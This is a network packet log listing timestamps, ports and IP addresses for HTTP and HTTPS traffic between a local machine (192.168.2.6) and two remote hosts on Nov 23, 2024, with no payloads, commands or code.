Nov 23, 2024 09:16:52.570616961 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:52.570668936 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:52.570691109 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:52.570727110 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:52.572982073 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:52.573095083 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:52.573131084 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:52.573174953 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:52.575344086 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:52.575457096 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:52.575505018 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:52.575546980 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:52.577749968 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:52.577796936 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:52.577838898 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:52.578026056 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:52.580199003 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:52.580267906 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:52.580305099 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:52.582525969 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:52.582575083 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:52.582645893 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:52.582684994 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:52.584925890 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:52.584973097 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:52.585059881 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:52.585104942 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:52.587308884 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:52.587385893 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:52.587409973 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:52.587420940 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:52.652573109 CET	443	49857	162.159.61.3	192.168.2.6
Nov 23, 2024 09:16:52.653006077 CET	49857	443	192.168.2.6	162.159.61.3
Nov 23, 2024 09:16:52.653016090 CET	443	49857	162.159.61.3	192.168.2.6
Nov 23, 2024 09:16:52.654078960 CET	443	49857	162.159.61.3	192.168.2.6
Nov 23, 2024 09:16:52.654160976 CET	49857	443	192.168.2.6	162.159.61.3
Nov 23, 2024 09:16:52.654670000 CET	49857	443	192.168.2.6	162.159.61.3
Nov 23, 2024 09:16:52.654726028 CET	443	49857	162.159.61.3	192.168.2.6
Nov 23, 2024 09:16:52.669646978 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:52.669749975 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:52.669785023 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:52.669802904 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:52.670604944 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:52.670667887 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:52.670739889 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:52.670787096 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:52.672529936 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:52.672589064 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:52.672631025 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:52.672667027 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:52.674405098 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:52.674479961 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:52.674534082 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:52.674624920 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:52.676278114 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:52.676350117 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:52.676383972 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:52.676422119 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:52.678186893 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:52.678227901 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:52.678241968 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:52.678263903 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:52.680047989 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:52.680089951 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:52.680188894 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:52.680466890 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:52.681823969 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:52.681886911 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:52.681931973 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:52.681972027 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:52.683674097 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:52.683811903 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:52.683851957 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:52.683892965 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:52.685421944 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:52.685472965 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:52.686619043 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:52.686659098 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:52.687216043 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:52.687232018 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:52.687258959 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:52.687287092 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:52.688962936 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:52.689014912 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:52.689045906 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:52.689249992 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:52.690690994 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:52.690759897 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:52.690854073 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:52.690895081 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:52.692442894 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:52.692459106 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:52.692487955 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:52.692507029 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:52.694123983 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:52.694189072 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:52.695527077 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:52.695594072 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:52.695792913 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:52.695847988 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:52.696669102 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:52.696723938 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:52.697472095 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:52.697535992 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:52.698121071 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:52.698169947 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:52.699177027 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:52.699233055 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:52.700180054 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:52.700222969 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:52.700815916 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:52.700866938 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:52.701212883 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:52.701327085 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:52.702517033 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:52.702533960 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:52.702577114 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:52.702610016 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:52.704070091 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:52.704113960 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:52.704551935 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:52.704602957 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:52.705702066 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:52.705770969 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:52.706693888 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:52.706790924 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:52.707319975 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:52.707365990 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:52.708194971 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:52.708357096 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:52.708940029 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:52.708997965 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:52.709455967 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:52.709511042 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:52.710508108 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:52.710565090 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:52.712038040 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:52.712080956 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:52.712122917 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:52.712140083 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:52.712158918 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:52.712193012 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:52.713737011 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:52.713845015 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:52.713896990 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:52.715224981 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:52.715276003 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:52.715835094 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:52.715882063 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:52.716787100 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:52.716835976 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:52.716988087 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:52.717278957 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:52.718389988 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:52.718432903 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:52.718727112 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:52.718769073 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:52.720004082 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:52.720134974 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:52.720452070 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:52.720520973 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:52.721473932 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:52.721616030 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:52.721640110 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:52.721657038 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:52.723026991 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:52.723074913 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:52.723212004 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:52.723252058 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:52.724632978 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:52.724678993 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:52.724723101 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:52.726195097 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:52.726257086 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:52.727768898 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:52.727786064 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:52.727830887 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:52.727863073 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:52.727909088 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:52.729324102 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:52.729371071 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:52.730187893 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:52.730242014 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:52.730930090 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:52.730947018 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:52.730974913 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:52.731008053 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:52.732470036 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:52.732654095 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:52.732676029 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:52.732696056 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:52.734045029 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:52.734097958 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:52.734148979 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:52.734184980 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:52.735629082 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:52.735670090 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:52.736661911 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:52.736709118 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:52.737184048 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:52.737241030 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:52.737426996 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:52.737485886 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:52.738820076 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:52.738836050 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:52.738893986 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:52.738893986 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:52.740307093 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:52.740349054 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:52.740401030 CET	443	49856	162.159.61.3	192.168.2.6
Nov 23, 2024 09:16:52.740653992 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:52.740674973 CET	49856	443	192.168.2.6	162.159.61.3
Nov 23, 2024 09:16:52.740683079 CET	443	49856	162.159.61.3	192.168.2.6
Nov 23, 2024 09:16:52.740705967 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:52.741516113 CET	443	49856	162.159.61.3	192.168.2.6
Nov 23, 2024 09:16:52.741568089 CET	49856	443	192.168.2.6	162.159.61.3
Nov 23, 2024 09:16:52.741878986 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:52.741894960 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:52.741914988 CET	49856	443	192.168.2.6	162.159.61.3
Nov 23, 2024 09:16:52.741925001 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:52.741945028 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:52.741960049 CET	443	49856	162.159.61.3	192.168.2.6
Nov 23, 2024 09:16:52.743417025 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:52.743463039 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:52.743803978 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:52.743849993 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:52.744151115 CET	443	49855	162.159.61.3	192.168.2.6
Nov 23, 2024 09:16:52.744402885 CET	49855	443	192.168.2.6	162.159.61.3
Nov 23, 2024 09:16:52.744410038 CET	443	49855	162.159.61.3	192.168.2.6
Nov 23, 2024 09:16:52.744988918 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:52.745044947 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:52.745076895 CET	443	49855	162.159.61.3	192.168.2.6
Nov 23, 2024 09:16:52.745112896 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:52.745160103 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:52.745549917 CET	49855	443	192.168.2.6	162.159.61.3
Nov 23, 2024 09:16:52.745636940 CET	443	49855	162.159.61.3	192.168.2.6
Nov 23, 2024 09:16:52.746577024 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:52.746624947 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:52.746787071 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:52.746828079 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:52.748119116 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:52.748159885 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:52.748258114 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:52.748315096 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:52.749721050 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:52.749775887 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:52.750979900 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:52.751079082 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:52.751266003 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:52.751292944 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:52.751342058 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:52.752818108 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:52.752876043 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:52.752933979 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:52.752974033 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:52.754373074 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:52.754421949 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:52.754527092 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:52.754564047 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:52.755908966 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:52.755975008 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:52.783117056 CET	49856	443	192.168.2.6	162.159.61.3
Nov 23, 2024 09:16:52.783130884 CET	443	49856	162.159.61.3	192.168.2.6
Nov 23, 2024 09:16:52.787664890 CET	49855	443	192.168.2.6	162.159.61.3
Nov 23, 2024 09:16:52.787676096 CET	49857	443	192.168.2.6	162.159.61.3
Nov 23, 2024 09:16:52.787686110 CET	443	49857	162.159.61.3	192.168.2.6
Nov 23, 2024 09:16:52.794410944 CET	443	49858	162.159.61.3	192.168.2.6
Nov 23, 2024 09:16:52.794631958 CET	49858	443	192.168.2.6	162.159.61.3
Nov 23, 2024 09:16:52.794640064 CET	443	49858	162.159.61.3	192.168.2.6
Nov 23, 2024 09:16:52.795664072 CET	443	49858	162.159.61.3	192.168.2.6
Nov 23, 2024 09:16:52.795722961 CET	49858	443	192.168.2.6	162.159.61.3
Nov 23, 2024 09:16:52.796036959 CET	49858	443	192.168.2.6	162.159.61.3
Nov 23, 2024 09:16:52.796170950 CET	443	49858	162.159.61.3	192.168.2.6
Nov 23, 2024 09:16:52.830677032 CET	49856	443	192.168.2.6	162.159.61.3
Nov 23, 2024 09:16:52.845982075 CET	49858	443	192.168.2.6	162.159.61.3
Nov 23, 2024 09:16:52.845988035 CET	443	49858	162.159.61.3	192.168.2.6
Nov 23, 2024 09:16:52.871822119 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:52.871923923 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:52.871959925 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:52.872055054 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:52.872350931 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:52.872422934 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:52.873327971 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:52.873539925 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:52.873598099 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:52.873692989 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:52.873893023 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:52.873946905 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:52.874772072 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:52.874789000 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:52.874846935 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:52.874846935 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:52.875729084 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:52.875792027 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:52.876365900 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:52.876615047 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:52.876918077 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:52.877010107 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:52.877629042 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:52.878034115 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:52.878114939 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:52.878407001 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:52.878524065 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:52.879190922 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:52.879291058 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:52.879945040 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:52.879962921 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:52.880008936 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:52.880008936 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:52.880218983 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:52.880309105 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:52.881369114 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:52.881422997 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:52.881767035 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:52.881953001 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:52.882514954 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:52.882564068 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:52.883332968 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:52.883408070 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:52.883625031 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:52.883640051 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:52.883661985 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:52.883750916 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:52.884773970 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:52.884965897 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:52.885705948 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:52.885832071 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:52.885848999 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:52.885863066 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:52.885977983 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:52.886943102 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:52.887012959 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:52.888118982 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:52.888133049 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:52.888150930 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:52.888186932 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:52.888274908 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:52.888958931 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:52.889087915 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:52.889514923 CET	80	49816	185.215.113.206	192.168.2.6
